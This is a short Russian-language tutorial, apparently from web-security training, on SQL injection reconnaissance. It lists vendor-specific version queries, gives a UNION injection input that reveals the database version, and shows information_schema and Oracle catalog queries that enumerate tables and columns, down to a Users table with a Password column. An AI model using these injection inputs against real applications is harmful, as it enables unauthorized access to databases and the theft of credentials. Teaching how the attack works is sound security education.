Проверка базы данных на уязвимость использования SQL-инъекций
Чтобы использовать уязвимости SQL-инъекций, часто необходимо найти информацию о базе данных. Это включает в себя:
- Тип и версия программного обеспечения базы данных.
- Таблицы и столбцы, содержащиеся в базе данных.
Как узнать тип и версию базы данных
Потенциально вы можете определить как тип, так и версию базы данных, введя запросы, относящиеся к конкретному поставщику, чтобы проверить, работает ли один из них
Ниже приведены некоторые запросы для определения версии базы данных для некоторых популярных типов баз данных:
Тип БД, запрос
- Microsoft, MySQL
SELECT @@version
- Oracle
SELECT * FROM v$version
- PostgreSQL
SELECT version()
Например, вы могли бы использовать атаку UNION
со следующими входными данными:
' UNION SELECT @@version--
Это может привести к следующему результату. В этом случае вы можете подтвердить, что база данных является Microsoft SQL Server, и посмотреть используемую версию:
Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)
Содержимое базы данных
Большинство типов баз данных (за исключением Oracle) имеют набор представлений, называемых информационной схемой. Это предоставляет информацию о базе данных.
Например, вы можете запросить information_schema.tables
, чтобы получить список таблиц в базе данных:
SELECT * FROM information_schema.tables
Это возвращает выходные данные, подобные следующему:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE
Этот вывод указывает на наличие трех таблиц, называемых Products
, Users
и Feedback
.
Затем вы можете запросить information_schema.columns
, чтобы получить список столбцов в отдельных таблицах:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
Это возвращает выходные данные, подобные следующему:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar
Этот вывод показывает столбцы в указанной таблице и тип данных каждого столбца.
Содержимое базы данных Oracle
В Oracle вы можете найти ту же информацию, что и ниже:
Вы можете перечислить таблицы, запросив all_tables
:
SELECT * FROM all_tables
Вы можете перечислить столбцы, запросив all_tab_columns
:
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'